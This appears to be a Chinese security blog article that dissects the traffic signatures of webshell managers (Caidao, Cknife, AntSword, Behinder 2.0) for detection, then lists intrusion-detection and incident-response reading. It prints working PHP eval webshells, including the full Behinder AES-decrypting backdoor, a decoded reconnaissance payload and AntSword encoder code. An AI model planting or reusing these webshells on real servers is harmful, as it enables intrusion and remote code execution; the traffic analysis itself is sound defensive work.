本文將會從攻防的角度分析常用 webshell 管理工具(菜刀、蟻劍、冰蝎2.0,冰蝎3.0、哥斯拉將在下篇介紹)的流量特點,后半部分會整理一些有關 webshell 入侵檢測和應急回應的文章
文章目錄
- Webshell 管理工具流量分析
- 菜刀&Cknife
- 蟻劍
- 默認編碼器
- Base64編碼器
- RSA模塊
- 冰蝎
- 2.0流量
- 3.0流量
- 參考鏈接
- 資料整理
- 入侵檢測
- 應急回應
Webshell 管理工具流量分析
菜刀&Cknife
先從最簡單的開始吧,菜刀也算是比較早的 webshell 管理工具了,加密方式比較簡單,這里分析 2016 版的菜刀
下載地址:https://github.com/raddyfiy/caidao-official-version
下載之后就直接被 360 查殺了,本地環境就是 PHP 直接在網站目錄里放了個一句話,為了減少不必要的流量在 kali 虛擬機中進行操作
如果 kali 沒有開啟服務,可以使用以下命令
root@kali:~# service apache2 start
在 /var/www/html 下放置 shell.php
<?php @eval($_REQUEST['shell']);?>
驗證成功

首先用 wireshark 開啟監聽,然后使用菜刀連接

圖中為菜刀連接時產生的流量
首先,菜刀會偽造 X-Forwarded-For 頭,且每一次利用菜刀與webshell建立連接,X-Forwarded-For 都會變化
將這段 post 請求先進行 url 解碼

發現請求執行了 base64_decode 函式對 z0 進行 base64 后,經過 eval 函式執行命令,base64 解密 z0

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
這部分就是傳輸的 payload,首先關閉報錯和 magic_quotes,接下來去獲取主機的資訊
這一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs 將其base64解碼,為@ini_set("display_errors","0");@set_time_limit(0); 流量特征明顯,可以用插件做混淆處理
Cknife
c刀是由java寫的客戶端,所以它的適用性比較強,linux、windows平臺都可以用,cknife首先會查詢服務器版本資訊,接下來才是查詢當前目錄,由于cknife是基于菜刀改的,在流量上與菜刀是十分相似的,都包含@eval,以及base64編碼后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
蟻劍
使用蟻劍進行連接時可以選擇編碼器

默認編碼器

看流量可以發現如果用默認的蟻劍測驗,連接時會請求兩次(上圖為第一次http請求,右擊選擇追蹤 http 流),其請求體只是經過 url 編碼,其流量中也存在和蟻劍一樣的代碼

@ini_set("display_errors", "0");@set_time_limit(0);
這段代碼基本是所有 WebShell 客戶端鏈接 PHP 類 WebShell 都有的一種代碼
第二次 http 請求(下圖)會把目錄列出來

Base64編碼器
php 的編碼器檔案在以下目錄
antSword-master\source\core\php\decoder

/**
* php::base64編碼器
* ? 利用php的base64_decode進行編碼處理
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
// 生成一個隨機變數名
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
}
data[randomID] = Buffer
.from(data['_'])
.toString('base64');
data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
data[pwd], 此函式的作用是作為引數傳遞的,所以這里在流量當中是明文傳輸


可以看到傳入的變數 shell 沒有被加密,軟容易被 waf 探測到,其他的編碼器也是類似的
RSA模塊
有一個RSA模塊,使用了RSA非對稱加密進行傳輸,新建編碼器 -> RSA配置 -> 點擊生成公私鑰

然后將生成好的 shell 放到目標機器點擊連接查看流量,可以直接使用公鑰進行解密,但是這種需要目標機器安裝 OpenSsh 擴展庫才可以

使用設定好的編碼器連接,在流量中 ant 連接字符也沒有加密

其他大佬說的并沒有遇到

冰蝎
冰蝎利用了服務器端的腳本語言加密功能,通訊的程序中,訊息體內容采用AES加密,基于特征值檢測的安全產品無法查出
專案地址:https://github.com/rebeyond/Behinder/releases
加密原理圖如下(shell為服務端):

使用
-
首先上傳冰蝎專屬 webshell(在冰蝎的 server 目錄可以找到自帶 webshell)
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?> -
攻擊者使用命令啟動
java -jar .\Behinder.jar # 雙擊不行就用命令連接 shell

添加之后雙擊即可
2.0流量
webshell分析
以 php 版本的 webshell 為例分析(就是剛剛上傳的webshell),查看冰蝎的 webshell 代碼,先會對 Get 傳入的 pass 這個引數進行檢查,如果存在的話會以時間的方式生成長度 16 的隨機 key,然后存入到 session 當中,再往后判斷是否開啟了 openssl 這個擴展,開啟的情況就會開啟 AES 進行解密,得到中間結果字串 assert|eval("phpinfo();") 此資料是由冰蝎加載器發出的,已經定義好的,服務端利用 explode 函式將拆分為一個字串資料,然后以可變函式方式呼叫索引為 0 的陣列元素,引數為索引為 1 的陣列元素,即為 assert("eval("phpinfo;")"),沒有開啟的情況,進行異或處理然后通過 base64 加密
這就是同時在早期有一定的免殺效果,但是這個函式現在已經被標注為危險函式且被加入防火墻規則
2.0 的分析文章:冰蝎,從入門到魔改

使用Wireshark 查看連接webshell的流量進行分析,查看會發送倆次Get請求,分為倆次Get的握手請求,第一次請求服務端產生密鑰寫入session,session和當前會話系結,不同的客戶端的密鑰也是不同的,第二次請求是為了獲取key,此時的 99030fc0bb93de17就為解密代碼的key
post 的資料可以利用上面的Key進行解密獲得代碼,可以自己寫代碼也可以使用在線網站進行解密,在線網站只有在這個網站解密成功,http://tools.bugscaner.com/cryptoaes/
解密后的內容會對代碼再次進行了一次base64的解碼

左邊是沒有開啟OpenSsl擴展的回應,右面是開啟OpenSsl擴展的,對回應進行AES的解密 (下圖2) ,base64解碼后的內容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}


3.0流量
下一篇分析
冰蝎 Behinder 功能原理
- 《利用動態二進制加密實作新型一句話木馬之客戶端篇》 https://xz.aliyun.com/t/2799
- 《利用動態二進制加密實作新型一句話木馬之Java篇》 https://xz.aliyun.com/t/2744
- 《利用動態二進制加密實作新型一句話木馬之.NET篇》 https://xz.aliyun.com/t/2758
- 《利用動態二進制加密實作新型一句話木馬之PHP篇》 https://xz.aliyun.com/t/2774
參考鏈接
- 主流WebShell工具流量層分析
- Webshell連接工具流量分析
- 常見webshell管理工具流量特征值分析
資料整理
入侵檢測
- Webshell入侵檢測初探
- 企業安全建設之HIDS(一)
- 企業安全建設之HIDS(二):入侵檢測&應急回應
- 帶外通道技術(OOB)總結
- 左右互搏術的自我修養
- 入侵檢測技術建設及其在場景下的運用
- ATT&CK矩陣Linux系統安全實踐
- Linux入侵檢測之檔案監控
- 安全防御:Linux入侵檢測之檔案監控
- Linux入侵檢測之syscall監控
以上這些文章建議順序學習,由 pilgrim 發布于 Freebuf,大佬的文章很詳細,無需多贅述
應急回應
-
奇安信安服團隊出版的《網路安全應急回應實戰指南》一書,微信讀書鏈接
第1~3章為網路安全應急回應工程師需要掌握的基礎理論、基礎技能和常用工具,第4~10章為當前網路安全應急回應常見的七大處置場景,分別是勒索病毒、挖礦木馬、Webshell、網頁篡改、DDoS攻擊、資料泄露和流量劫持網路安全應急回應
-
Bypass007團隊應急回應筆記
GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes
GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes
包括入侵排查、日志分析、權限維持、實戰部分等部分U

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/390572.html
標籤:其他
